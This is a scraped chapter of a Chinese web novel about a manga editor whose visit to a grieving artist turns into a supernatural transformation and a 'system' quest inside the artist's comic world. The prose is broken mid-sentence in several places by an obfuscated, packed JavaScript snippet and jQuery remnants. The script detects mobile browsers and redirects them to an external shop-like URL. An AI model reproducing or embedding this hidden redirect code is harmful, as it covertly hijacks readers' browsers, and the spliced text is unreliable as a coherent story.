鹰之助顺着东云茜话语里的遗憾之意,劝慰道,“如果看不到《夜樱》这样的作品,我一定会觉得很可惜。想必那位老师也是如此,为了能看到您在行业里大放光彩,才请您自立门户的吧。” “不,不是的。”东云茜突然掉下眼泪来,“她已经没法再画了。” 鹰之助赶紧又为他倒了一杯酒。 从东云茜断断续续的叙述中,编辑们得知,那位老师已于几个月前意外去世了。 东云茜是在迫不得已的悲伤中,失去了作为助手的工作,离开繁华的樱京。之后,他回到家乡居住,开始潜心创作《夜樱》。 “很抱歉让您提及了逝者的事情,”鹰之助立刻说,“请节哀。” 又贴心地提议,“方便告知下那位老师的名讳吗?等这次回樱京时,我可以替您去清扫坟墓。” 东云茜又不肯说话了。 黑野编辑已翻回到手中稿件的扉页,认真端详那张人体盛的画风,不一会儿,提出了一个名字,“早见芽?” 东云茜的身体突然剧烈颤抖了一下,随后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813143|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出似哭似笑的声音,承认道,“是啊。” 鹰之助暗自钦佩黑野编辑的见识,顺势询问这位早见老师有哪些作品。 东云茜神色不稳。黑野编辑则是摇了摇头,没有回答。 鹰之助没听说过早见芽很正常。因为早见芽是专门画成人漫画的漫画家。 黑野编辑看得出东云茜在为还有人认得出早见芽的画风而高兴,可其实他也没有阅读过早见芽的作品,只扫过几眼对方的商稿插画。 他的推论基于东云茜提出来的死亡时间——黑野编辑见过早见芽的讣告。 在连风俗业都合法的樱岛,成人漫画更是合法的消遣娱乐。产自樱岛的漫画在过去曾经一度是色.情.暴力的代名词。黑野社当初创社,就是试图在这类作品泛滥成灾的环境下,重新将漫画这种艺术表现形式拉回雅俗共赏的殿堂。黑野寓意着在黑色沃野上垦荒之意。 多年过去,黑野社成功走出了自己的道路。但读者群体与其说是转变,不如说是扩大和分化。 成人漫画没有从社会上消失,依旧拥有一批为数不少的受众。 早见芽作为成人漫画家的特殊之处,在于她是女性。 成人漫画家大多是男性,但这个行业没有被男性垄断,也有一些女性画师出于各种各样的原因而入行从业,甚至在细分领域上放弃了女性向成人漫画,而进军男性向的领域。 或许是出于另类的热爱,或许是求钱财,或许是不得已——回归本质,这毕竟只是一份在樱岛合法的职业。 这份工作会带来负面的事物。男画师仅靠画功立足,用作品论人气,可女性画师不同。 她们本人的外貌性情也会成为男性读者的品评内容,甚至被当做作品的附属价值来消遣。 那些根据作品来窥伺猜测作者私生活的议论,是男画师不在意甚至乐于同谋的,对女画师来说却是不堪承受的骚扰和攻击。 看成人漫画的人习惯于消费她们。不看成人漫画的人更会贬低她们。 男画师画这种东西似乎是正当的,符合本能天性的,只要漫画内容不过于猎奇,就没人去多管闲事。但女画师就是众矢之的。男人责其放荡,女人责其媚男,有些明明不看这种作品的人,会特地找上门去谩骂创作者。甚至有些看作品的人,也会先消费完了再责怪。 黑野编辑在业内群聊中见到过早见芽的讣告,也看到了他人的聊天讨论。 他对早见芽的生平不甚了解,但他知道,早见芽死于浴室割腕自杀。 黑野编辑知道为何东云茜不肯删去前篇故事内容了。 故事以夜樱为题,而剧情中的夜樱,属于那位将女儿托付给陌生人照料的神秘女性,是她的死亡象征。 夜樱重重,如淡淡血痕,那必定是对东云茜有重要意义的场景。 黑野编辑斟酌着问,“画《夜樱》是为了纪念她?” 新的谜题出现了,故事后半段为何会急转而下,被超现实的恐惧梦魇笼罩,成为前后割裂的两段故事? “是。”东云茜深深吐了口气,像是被拔去瓶塞的瓶子。 那些无处倾诉的话语大概已在瓶中闷了太久,依旧滞涩,可终于找到出口,“在过去,我们休息的时候,就会一起喝酒。我给她做下酒菜。” “每次看完网站上那些不好的评论,她的情绪都很糟,不喝几瓶酒压不下去。我劝她不要酗酒,可她就是做不到。” “她醉醺醺地跟我说,等她赚够了钱,还完了债,她想要画点……正常的漫画。她要换新的笔名,还要参加黑野社的新人赏……” 他哽咽着哭出声来。 鹰之助不知道早见芽的事,听不明白这些话语,但他看得懂东云茜的情绪。 或许是受体育团队文化影响,这个年轻人对社交距离的把握与常人不大一样。他已经上前去轻拍东云茜那颤抖的脊背了。 “我想要替她实现愿望,”东云茜越哭越苦,他像虾一样深深地躬下身体,跪伏在稿纸前哭泣,“可是,我画不对,我怎么都画不对……” “您已经画得很好了。”鹰之助低声安慰,“《夜樱》是一部出色的作品,我们这不就来找您洽谈合约了吗?您一定能够实现那位早见老师的心愿的。” 他试图将漫画家的情绪从往事中拉出来,让话题回归到漫画本身。 他勉强自己接受《夜樱》的黑暗结局,“这部漫画的完成度很高了,那些恐怖的怪物,呃,设计也很震撼。您有不满意的地方,我们还能一起讨论慢慢修改。” “不,你不懂!”东云茜绝望地说道,“那不是我想画的呀。” 屋外传来了风雨的声音。 8. 【哟嚯】 “我想要画的不是恐怖漫画!”胆小瘦弱的男人,终于明明白白地将真心想法说出了口。 “那你……” 还不等鹰之助发表完困惑,东云茜已经自暴自弃地说出答案,“我没有选择!” “我想要画的不是这些,我想要画笑容,想要画温暖的食物,想要画菜菜子,可是,不知道从什么时候开始,我的手里,只能画出怪物了。”东云茜抱着自己的脑袋,“新的稿子怎么都改不对……噩梦、海水……我脑子里只有这些东西,我想不出正常的情节,一旦拿起笔来就…… “自从画过一次怪物后,我就不敢再画菜菜子了。” 他紧紧抓着鹰之助的衣服,“是我的错,我只能画成这样……” 鹰之助有些无措,运动员的生活太简单直率了,他没有面对过这种创作者的别扭和痛苦。 黑野编辑倒是见过不少。 有些漫画家,会过分执着于完美,对已创作的作品持有不满和厌恶的态度。 但东云茜的表现与那些案例都不一样,他看着画稿的表情近乎憎恨和恐惧,像是犯人瞪着枷锁,病人嫌弃着死神。 黑野编辑暂时保留态度,静观其变。 “我想画的不是这样的东西……不是这些,也不是这些……”东云茜抓起那些稿纸,想要撕碎后半部分,但整本稿纸过厚,他一时无法撕开,只揉扯得乱糟糟一团。 鹰之助试着拦了一下,可东云茜过于激动,又坚持要继续毁坏稿纸,要阻止他的话得动真格的。新人不由看了眼黑野编辑,见黑野编辑仍坐着不动,又有些犹豫,最终退了下来。 东云茜将揉皱的稿纸分开,爱惜地将前几页留下,却用无情的态度对待后半部分。他解恨般地将其一份份细细揪扯成碎片,纸屑散落如雪。 鹰之助从没见过这样的场面。 不如说打从他立志做编辑起,就没想过有一天会面临漫画家当面亲手毁坏原稿的恐怖场景。 这事儿居然还发生在他入职第一天。 这算是重大职业事故吗? 他只能在心底安慰自己,黑野编辑没动,一定有自己的道理。 黑野编辑安静地等着东云茜度过这场情绪爆发。他习惯了这种事情。漫画家就是容易莫名其妙生气或伤心的物种。他过去还曾经被漫画家揍过。 这种时候只要等待就好。 按照他的经验,在打破障壁前,多数漫画家都更习惯将阻碍自身前进的痛苦藏在心中,那种敏感和忍耐恰恰也是许多人创作的源泉。可等到漫画家暴露过最丢人难堪的一面了,咆哮发泄完后,会愿意慢慢对编辑说出自己真实的困扰。 到那时就轮到黑野编辑工作了。 将所有所憎恶的稿纸撕得粉碎后,东云茜仿佛失去所有力量,伏倒在地。 “我试过了,”东云茜哭诉道,“我想要画点别的,可是,我撕了一次又一次,画了一次又一次……每次都是这样,佐伯总是会出事,会疯掉。那些怪物无孔不入,好像侵入了我的脑子…… “我画不出别的。” “就这样画下去,也没什么不好吧?”鹰之助有些不忍心看下去了,“或许你应该接受你自己?恐怖漫画也挺好,有受众……” “我想要画的不是这么小众的东西!”东云茜愤怒地反驳,“我想要画的是能被她接受的,我……” “你怎么知道她不会喜欢?” 黑野编辑突然发问。 东云茜愣了愣。 “《夜樱》里有她的构思和设计?” 黑野编辑怀疑,东云茜的痛苦来自于意识到《夜樱》剧情发展背离了原作者意图的自责。 他语气严肃地说,“若创作中有她的参与,刊出时必须要有她的署名。” 他从这个最坏的可能性开始排除。 “不是。”东云茜慌忙摇头否认,“她没有告诉我她想画什么。她说出自己愿望的时候喝醉了。我也知道,她要烦心的事太多,那时候根本没有心情去考虑具体的事情。 “如果当时她告诉我她想要画什么就好了。什么我都可以替她画。 “至于署名……东云茜原本就是为她拟的笔名。她说让我帮忙想想,要一个清新唯美充满希望的新笔名。 “我想好了,却没来得及告诉她。 “《夜樱》的剧情,是我自己回到老家后慢慢想出来的,可是,不知道从什么时候起,我画不出正常的内容了。” 他直勾勾地盯着地上那些碎屑,不知为何那些纸屑都是潮湿的,“她肯定不会喜欢这些的。她向来害怕惊吓,又喜欢温馨治愈的故事。若是让她来画,她肯定不会画这种恐怖的内容……” 黑野编辑告诉他,“人表现出来的外在性格,喜欢阅读的作品类型,和想要创造的作品类型,是三件不同的事物。” 他见过太多漫画家,对此有绝对的发言权。 资深编辑的语气十分肯定,让东云茜一时陷入迷茫。 “我不知道她想要画什么?”他不由捏紧了自己的衣袖,用力得像是要从中挤出水来,“那我该怎么办?佐伯雄和菜菜子该怎么办?这是我和她的故事呀,这是我想要为她画的故事呀……” 东云茜从鼻子里哭出来响亮的一声。 “我……我想要继承她的遗志呀。” 太熟悉了,这就是樱岛人会说出来的台词。 黑野编辑冷酷地说,“你这是在自作多情。” 人不可能画出属于别人的作品。 “逝者已逝。虽然可惜,但是早见芽已经没有机会再表达自己的创作想法。 “也没有任何一个人有权利替她诉说。 “《夜樱》是属于你自己的作品,是你为你自己而画的。” “不是的……”东云茜想要否认。 “菜菜子为何不再出场?”黑野编辑厉声发问,“无力控制剧情后,你想要保护她,你不想要改变这个角色。但你并不怕佐伯雄遇到危险,恰恰相反,你认为佐伯雄必须应对这个挑战,甚至为他设置了残酷的结局。 “故事从讲述养父女的生活开始,但这并不是双主角漫画,主角唯有佐伯雄而已。你想要画的是你自己。” 东云茜震惊失色,表情变换不定,随后低下头,将脸深深地藏在袖子里。编辑们只听到他咽喉作响。 泪水,或是汗水从衣摆中滴落,在静默的屋子中砸出嗒嗒的声音。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813144|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【哟嚯。】 之前沉默得像是掉线了的匣子,突然在黑野编辑耳边发出声音。 黑野编辑没打算在工作期间理会匣子。 屋内越来越潮湿了,不知从哪里来的海腥味到了让人无法忽略的地步。 “要关窗吗?”鹰之助站起身来。 这时候,地板突然传来一阵猛烈的摇晃。 桌椅杯盘叮里当啷地跳动。或许是酒瓶倒了,水浸湿了编辑们的袜底。 电灯闪了一下,在嗡鸣声中熄掉了。室内的光线顿时暗如海底。 樱岛是地震多发的国家。 “是地震,走!”这阵摇晃刚停,黑野编辑立刻伸手去找放在旁边的拐杖,随后他被人提了起来。 黑野编辑强迫自己压下身体本能的抗拒。 那人是鹰之助。 反应敏捷、热心助人的体育生。 那座摆满参考书籍的书架没能坚持住,到这会儿才突然失衡倒下,砸到跪坐的东云茜身上。砰的一声巨响。随后是书哗啦啦地倾斜出来,动静听着令人极为担心。 漫画家一声不吭,大概是被砸懵了。 黑野编辑刚要出声,鹰之助已经毫不犹豫地一脚踹飞了书柜,单手从书堆中扯出了身材瘦小的漫画家。 余震随时可能再来。 他一手抓着腿伤未愈的编辑,一手捞着身材瘦小的漫画家,双臂各夹住一个,像运沙袋般挟着两个男人往屋外逃。 这姿势对沙袋来说既尴尬又别扭。 但黑野编辑很清楚这种紧急情况容不得更多的拉扯消耗,他没有挣扎,只在被拖走前及时伸手抓住了东云茜没有销毁的那一部分漫画原稿。与此同时,他的脚也踩到了地上的拐杖。他立刻捡拾起来。 他拿得很及时。下一刻屋子就迎来了更剧烈的震颤。 厅中桌椅倾覆,狼藉的杯盘砸了一地。酒水,或许还有被狂风从窗框外吹进来的雨水漫了一地。 就算是鹰之助也没法在这种情况下站稳。 三个男人在失衡中摔倒,滚到墙边才停住。 鹰之助重新站稳,带着同伴再次找准了通往屋外的方向。 他几乎将黑野编辑提到双脚离地,黑野编辑原本有些怀疑这样做的效率,直到低头时,看见地板上有餐碟的碎片顺着水流飘过。 若踩到很容易受伤。 鹰之助让自己独立承受这个风险。 地震还在持续。在这种境地最艰难的事情不是负重,而是维持平衡。抱团的好处就是三人可以互相依靠拉扯一把。 鹰之助载着负重,淌着水试图向玄关走去,却总是左摇右晃地偏离方向。黑野编辑单手用拐杖撑地,尽力减少负累。东云茜则用袖子捂着脸,剧烈地喘息着,夹杂着惊惶的哭泣,好似承受着某种莫名的巨大痛苦。 好不容易到了狭窄的玄关过道,两侧有墙壁可以借力,屋门也在望了。 鹰之助突然摔倒,好在黑野编辑反应及时,扶着墙回拉住了鹰之助。 “我被绊倒了。”鹰之助迷惑地说。 两位编辑回过头,借着从门缝中投入的昏暗摇晃的光线,看见鹰之助的腿上缠绕着几条胳膊粗细的章鱼触手。 9. 异变 是顺着暴雨和地震潜入屋内的海洋生物? 不,那些触手是从东云茜的衣襟中探出来的。 联想到漫画家在屋中一直弯着腰的状态,以及衣摆内的水滴…… 他在怀里藏了宠物?章鱼? 没有时间仔细思考。 就算提出让漫画家管教好宠物,看东云茜的状态,他似乎也已经无法正常地接受建议。 “失礼了。”黑野编辑毫不犹豫地致歉,用拐杖狠狠抽向那些触手的根部。 那些触手吃痛后茫然地松开了鹰之助的腿,又本能地顺着黑野编辑的拐杖往上攀爬。 鹰之助伸手扯住其中一条触手,一甩一抖,想要将章鱼从漫画家的怀里拉出来。 或许是他用力过猛,靠在他身上的东云茜踉跄一下,然后在地震中摔倒。 “抱歉……”鹰之助的声音卡在了喉中。 他说话时匆忙丢开触手,再抓向漫画家的身体,却错手撕开了对方的衣服。 他被所见的景象震住了。那条触手轻轻勾住他的手腕,他顾不得理会。 那些触手与东云茜的腹部紧密相连。 不仅如此,他的肩膀上凹出密集的扇贝壳,胸口浮现整片的鱼鳞,肋下鼓胀出河豚般的小刺。他此刻摊开身体后无法再用袖子遮挡的脸,都是非人的容貌。 黑白两圈的眼珠子从面颊上凸出来。颌骨张合着,像搁浅的鱼般剧烈喘息。 “他……”鹰之助只说了一个字。 漫画家当着他们的面变成了怪物。 眼前的景象几乎像是从《夜樱》中摘出来的一格画面 。明明是人类幻想出来的恐怖漫画情节,却诡异地呈现于现实中。 用不着黑野编辑强调冷静,鹰之助已经怀疑地提出一个解释,“这是异能吗?” 体育生保持镇定的素质确实值得夸赞。 黑野编辑简直想要劝社长以后都去体育院校社招了。 成年人持有异能是罕见现象,但并非不会出现。 鹰之助的提问,也是黑野编辑第一时间担忧的点。 黑野编辑并不歧视异能者,但他的职业要求他重视这个问题。 为了防止青少年受到不健康的思想影响,从而被诱发异能,官方行政机构禁止异能者公开发表作品。 明明对色情暴力都无所禁忌,却偏偏限制异能者公开作品,樱岛官方行政机构大概仍对异能怀有忌惮,也是在延续民间的歧视风气——社会异类在人权上总是低人一等的 这个条文是否合理不是黑野编辑所考虑的事情。作为职业工作者,他必须按照法律行事。若东云茜拥有异能,他有责任上报情况并拒绝采用《夜樱》稿件。 【不是哦。】 匣子在黑野编辑脑内发声。当下情势紧急,但匣子的情绪丝毫不受影响,它语气轻快地给出评论,【是别的影响啦。他只是个倒霉蛋。】 “先出去。”黑野编辑果决地说。 时间由不得他们细想。屋子还在摇晃,战栗的灰尘从屋顶和墙壁的缝隙中抖落,房屋随时会在地震中倒塌。 鹰之助的犹豫在下一秒瓦解。曾为东云茜的怪物,仍是人的那部分躯体似乎还在畏畏缩缩地羞愧隐藏,但化为怪物的部分似乎不被人性所左右,展露出了攻击性。 怪物的胳膊上裂开许多缝隙,许多细小的锐器向鹰之助飞袭而来。 那是一排细小的尖牙鱼,来自深海的恐怖生物。 黑野编辑没留意自己的拐杖是如何到了鹰之助的手中。鹰之助挡住黑野编辑的身体,挥舞拐杖将那一排飞鱼挡下。好个棒球手!被击落的飞鱼发出一连串的钝响。 落水的尖牙鱼仍跳动着,争先恐后地跃出水面来袭击两人的脚踝。 在狭隘的空间里和怪物搏斗是不明智的。鹰之助眼疾脚快地踢飞几只,说,“我们走。” 除开地震的摇晃外,怪物也变成了麻烦。那些触手死死缠住鹰之助的手腕和腿,与先前相比,目的性更强,缠绕得更紧,让体育生都无法行动。 黑野编辑皱着眉在玄关中左右寻找武器。 体育生这会儿的决断却更快。他搀着黑野编辑的手猛然用力,将黑野编辑提起来搁到了旁边的鞋柜上。 这个行为让黑野编辑觉得自己被当成了花瓶,不管是在物理意义上还是比喻意义上。 他健康的体重好似被对方用臂力给羞辱了。 黑野编辑皱着眉想去拉孤军奋战的鹰之助,却看见鹰之助将空出来的那只手戳向了墙壁上的插座。 供电恢复了吗?这个想法还未来得及掠过编辑的脑海。他先前探出去准备拉鹰之助的指尖,被骤然亮起的电火花烫了一下。 他的手指猛的被电流弹开了。 一腔热血的年轻人在电击中和怪物僵持着。那些缠在他肢体上的触手纷纷解开,但有些迟了。落水的尖牙鱼,连同躺在水泊中的东云茜,都在微微抽搐。 屋内早就到处都是不知从何而来的水流,空气也太潮湿了,坐在鞋柜上的黑野编辑觉得空气都带着几分哔咔哔咔的酥麻感。 黑野编辑知道,如果没有外力推动,因触电而痉挛的人无法主动脱离电源。 他看向鹰之助手中的拐杖。拐杖是木质的,可这会儿水迹斑驳,算不上绝缘体。 黑野编辑赌了一把,从身下的鞋柜里翻出一只胶底鞋,简单套上,一脚踹向那根拐杖。电击的感觉使他脸色发青,但仅止一瞬,拐杖被踢歪,鹰之助失去平衡,手臂随之垂落,终于放开了那个插座。 鹰之助闷哼一声,电击结束后那些触手纷纷从他身上散落。 不愧是体育生,鹰之助竟然没什么大碍。趁着怪物被麻痹,鹰之助从鞋柜拉下黑野编辑,搀着他再度往门外逃去。 刚刚的电流应该很强,这会儿和鹰之助的身体接触时,黑野编辑还能感觉到微弱的刺麻感。 跨过最后几步路,就到了门口。 鹰之助拉开大门后,一把将黑野编辑推到了屋外的暴雨中。 黑野编辑不解其意,想催促助手快点出来。但鹰之助摇摇头,拉下了职业装的衣领。 年轻人颈窝处的皮肤向外翻开,露出了藏在内里的层层鱼鳃。 他坦白相告,“不知道是什么异能,但好像具有传染性。” “或许不是异能,”黑野编辑谨慎采信匣子的说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813145|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法,他能感知到自身躯体尚未有超出掌控的变化,若如此的话,他与鹰之助的情况必有区别,他找到了关键点,“媒介是食物。” 东云茜用佐酒小菜待客本就是件异常的事情。 黑野编辑不嗜生食,没有动箸,但直爽的鹰之助没有辜负主人的心意。 “啊,原来如此!”鹰之助恍然大悟,甚至联想到,“漫画里的客人们也吃了!” 年轻人因解读顺利而露出笑容,又及时按住脖子上绽开的一排利齿,鲜血顺着他的手掌流淌下来。 “还好您没吃啊。”他感叹一声,再对暴雨中的黑野编辑笑了笑,退后一步,从内关上了屋门。 【我都有些喜欢他了,】匣子感慨道,【你的推荐也不算差啊。】 它语气遗憾地说,【我之前该多考虑下他的。】 黑野编辑没有吭声。 他对着紧闭的屋门,知道门后那两个选择自我封闭的怪物都还未完全丧失人性,却没有像一般漫画剧情那样冲动地扑上去敲门。 鹰之助在年轻人中算是做事周全的了,此刻肯定已经从内反锁了屋门。 他的拐杖也遗失了。 先前谈话的客厅有未关的窗,但是不用急着去寻找。 黑野编辑转过身,对着雨幕,仔细观察周围的环境。 匣子安静了一会儿,似乎是在等待记录黑野编辑惊讶或恐惧的反应,却没有等到。 它还是忍不住了,开口问道,【感觉怎么样?】 在自己的立场上,鹰之助错估了形势, 雨幕太密,黑野编辑又挡住了视线。刚刚那匆匆的几瞥,不足以让热心肠的助手发现,屋外并不比屋内更安全。 暴雨已将黑野编辑浇得从内到外都湿透。他能听到海水在矮崖下咆哮,能感受到脚下的崖面在颤栗——只有崖面和房屋在颤栗。 如果鹰之助刚刚趁着门敞开时探头再多看几眼,就会发现,这场风暴和地震的范围太小了。 暴雨外的云层虽浓重却平静。远处的村庄景色秀美安宁。 或许,这根本不是地震,只是脚下这座矮崖在挣扎。 食物? 黑野编辑能想象到那样的场景,独居在偏远郊外的东云茜,用餐厨垃圾喂食鸟雀猫狗,或是埋到菜园中作为肥料处理。随后,某种污染扩散,深入到本地土壤。 这座矮崖活了过来。 【要是你那助手看到了的话,可能得后悔死。】匣子戏谑道,【把你独自丢到外面,可能还不如将你带在身边呢。】 【你该怎么办呢?瘸腿的小编辑。】 黑野编辑依靠在随时会倒塌的房屋边。 并非他不想转移位置,而是密密麻麻的鳗鱼缠住了他的脚踝。 带着斑点的鳗鱼纷纷从碎石路面中钻出来,在雨水中摇曳着。它们耐心地在黑野编辑的裤子上咬出细密的伤口,舔舐着从潮湿布料中渗出来的血气,想将他扯落地面。 黑野编辑的腿伤还没好,更没有鹰之助那样的体能,或是触手可及的电源,能够帮助他从这些怪物的束缚中挣扎出来。 可他不慌不忙,对匣子说,“你要我做什么任务?” 10. 漫画与世界 【这时候说什么任务不任务的,】匣子说,【哎呀,您终于想起您忠实可靠的老朋友和它的任务列表了吗?】 【难道说,】它故意用惊讶的语气,【您克服自身对不劳而获的心理障碍了?】 黑野编辑知道匣子想要气他,但他并不迂腐,也从不惧怕在必要的时候求人。他认真地作答,“我可以死在自己的心理障碍上,但我不会让我的漫画家和同事出事。” 潜台词是,将救援东云茜和鹰之助作为交换条件。 敢夸口实现世界和平的匣子,自然有办法处理眼前的境况。它故意跳出来说风凉话,事实上就是在等着黑野编辑求它。 黑野编辑不算太会读潜台词。但巧合的是,他带过的好几个漫画家,会用这种不太好的嘲讽语气来委婉表达“没有我你可怎么办呢”。黑野编辑对此可算是经验丰富了。 鹰之助和东云茜的情况看上去很危急,但黑野编辑并不担心自己错过救援时机。 匣子肯定有把握救下他们。否则,它过迟的提醒和袖手旁观,会成为关系中无法弥补的裂痕。 经过之前的交锋,黑野编辑不认为匣子会犯这种短视的错误。 【你可真相信我啊。】 匣子的语气里倒有几分真心实意的开心,【我可以提供救援的方法,但得靠你自己来完成任务。】 【不过,你就不怕我使坏?】 “我又不傻。”黑野编辑说,“虽然你别有目的,但是,你要用我。” 他打一开始就不相信什么友善、无害之类的说辞,尤其是在发现这匣子都快被樱岛文化给腌入味了的时候。 匣子的出现时机就在他接触东云茜之前,他也不认为这是纯粹的巧合。 现在,问题出现了,问题亟待解决。 就如同魔法少女漫画中,魔法使的出现总是为了解决什么难题——无论这个魔法使是好心还是黑心。 特殊待遇总是伴随着责任同来。这种符合逻辑的发展反而令黑野编辑安心。 事实上,在匣子声称自身具备毁灭世界的能力后,黑野编辑就决定将其牢牢掌控在自己手里了,之后故意向其推荐鹰之助,只是对匣子真实目的和主张的试探。 匣子大概也明白这点,却依旧装模作样和他谈什么天道酬勤的任务逻辑,那是隐晦威胁后的捉弄游戏。 两者心照不宣。 【真直白啊。】匣子抱怨编辑戳破这份默契,又说,【第一个任务是对你的试炼,会很难哦,你没问题吧?】 “没问题。”黑野编辑看过匣子先前列的那份任务清单,内容都是些编辑的日常工作。 如果非得在这样的暴雨中负伤审稿赚积分兑换什么技能,他倒也做得来。 可怎么算,靠这种方式都是来不及救人的。 但他并不担心,相信匣子肯定会做好出题人的工作。 【稍等。】 匣子从黑野编辑刚接触到东云茜的那个时候开始,就在筹备接下来的工作了。但是为了不引发真正的任务目标对象的警觉,它一直在小心翼翼地建立联系,直到东云茜异变爆发,才能稍微加快工作速度。 等到都和黑野编辑谈妥了,前期工程也还未完全建设好,眼下还剩下一点收尾。 匣子一边继续最后的工作,一边想着,假如黑野编辑胆敢大言不惭,嘲笑自身效率的话,自己该如何反击? 可黑野编辑一言不发,连呼吸都很安静。 匣子倒有些忍不住地问,【你就不好奇这些怪事是怎么发生的吗?】 匣子不知道,他得到的是黑野编辑对工作中的漫画家的待遇。 有些漫画家在创作时讨厌打扰,也有些漫画家需要靠聊天来引导灵感。黑野编辑立刻切换模式,从善如流地问,“究竟是怎么回事?” 明明编辑只是在重复匣子的提问,但难得黑野编辑这么听话,也让匣子获得了几分为人导师的乐趣,【他的漫画出了点问题。】 黑野编辑立刻请教,“什么问题?” 【不是你们在意的那些,剧情人设结构之类的创作方面的事情,】匣子说,【你能想象,每个漫画都对应着一个世界吗?】 黑野编辑听过这种理论。 有些人认为,诗人和艺术家并非凭空创造出作品,而是靠狂热的思想触及一个新宇宙,并对其中已存在的事物进行客观描绘。 可是,黑野编辑见过漫画家们如何辛勤地收集素材,积累资料,绞尽脑汁思考,反复删改描绘,让新的世界从空白的稿纸中诞生。 但凡见识过创作者的呕心沥血,就不会轻易相信这种理论。 更何况,作品整体内容并不取决于漫画家们一时的灵感,在长期连载中可能受到漫画家自身经历、情感变故的影响,甚至会被强大的外部力量左右。 黑野编辑在自身的职业生涯中可没有少对漫画家们给出过修改意见,他既没有感受到自己接触过什么神秘宇宙的启示,也不认为自己有能力和权力改变某个真实的世界。 要是有哪个真实存在的宇宙走向与漫画保持一致,那他们应该被腰斩、广告、过审、观众投票、印刷错误、版面等神明统治着。 要么,就是相信真有浩瀚万千的平行世界,能穷举一切可能性,无论拿着怎样的漫画去按图索骥,都能找到一样的。 但在这种情况下,任何想得到和想不到的漫画走向都有其对照物,那么,某个漫画走向对应着某个世界,又有什么特殊和意义呢? 黑野编辑过去是不在乎这种理论的。但是,系统的出现,以及东云茜自述的无法摆脱绘画怪物的痛苦,说明情况已经发生了变化。 “是和你一样的超现实事物吗?” 【我难道不是你的幻听吗?】匣子抓住机会来嘲讽,但它并不真心认为黑野编辑当初的谨慎有什么错,事实上,黑野编辑此刻表现出来的接受能力已经很强了。它简单一句后不再发挥,认真解释道,【那个漫画世界在发展的过程中,底层连通了一些不好的事物。】 【是来自外部的意外。】 “发展,听起来漫画世界像是某种生物体。”黑野编辑评价匣子的用词。 【你说得没错,】匣子接受意见,【用成长这个词似乎更准确。】 【从我这个维度看,没什么区别。】 “不是漫画对应着已存在的世界,而是你所谓的‘生物体’寄生于漫画?” 若颠倒先后次序,会容易接受得多。 【你们人类不管看到什么现象都喜欢立刻建立因果关系。】匣子不满地抱怨,【明明大多数人类连鸡生蛋和蛋生鸡的先后都分不清。】 匣子知道黑野编辑分得清,自知失言,又赶在编辑说出“先有蛋”前,给出解释,【那个世界反过来影响了东云茜的精神,导致他的异变。】 【所以,我的用词是对应。】 “我接受。”对于有理有据的用词说明,黑野编辑向来很通情达理,不在乎自己的修改意见被驳回。 匣子意识到这场谈话变得越来越像什么漫画设定研讨会。它又不是黑野编辑的漫画家,可不想每个字眼都要接受审阅,明明它才是给人发任务的那个。 它赶紧中断闲聊,回归主线,不对,它唾弃自己受到编辑影响后的术语用词,然后将刚做好的新任务面板端出来。黑野编辑此时没有闭眼看投屏,它用声音播报道,【现在临时发布一条紧急任务,任务内容为,进入漫画世界《夜樱》,找出引发异变的特殊污染源。】 【任务奖励为,人类的异变修复服务两次,漫画家冬云茜住所的场地复原服务一次。】 【特别提醒,此次任务难度极高,可能有生命危险,请谨慎确认是否领取。任务发布后,限时十五分钟内领取,逾期将关闭任务通道。任务领取后,无法中止,无法退出,直到任务完成或宿主死亡。任务完成无时间限制。】 【任务领取倒计时开始。】 【是否领取任务?】 黑野编辑毫不犹豫地回答,“是。” 语声刚出口,黑野编辑就感受到一阵震颤之感。待眼前的世界再度清晰,他已身处异地。 是室内。一条樱岛传统风格的走廊。两侧有木质的推拉纸门。 食物酒水的气味和嬉闹的笑声从一扇扇纸门后传来。 黑野编辑毫不费力地认出,这是《夜樱》中男主角佐伯雄的工作场所。 虽说场景转移到漫画世界,可他身上依旧穿着现实世界的着装,暴雨淋过的衣服紧紧裹在身上,头发黏住额头,水滴从眼镜片上滴落。 这一切都与干燥的室内环境形成鲜明对比。 他低下头,果然看见湿透脏污的袜子在干净的地板上印出痕迹。 黑野编辑皱了皱眉。 不管接下来要做什么,这种打扮都太突兀了。 匣子也有同感,【你怎么将这些行头都带进来了?——是该说你太没想象力呢,还是该说你对自身的形象太固执了?】 【你最好先集中意志力,让我帮你换一套适合环境的衣服。】 黑野编辑闭上眼睛,匣子立刻将各色衣服的投影甩了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 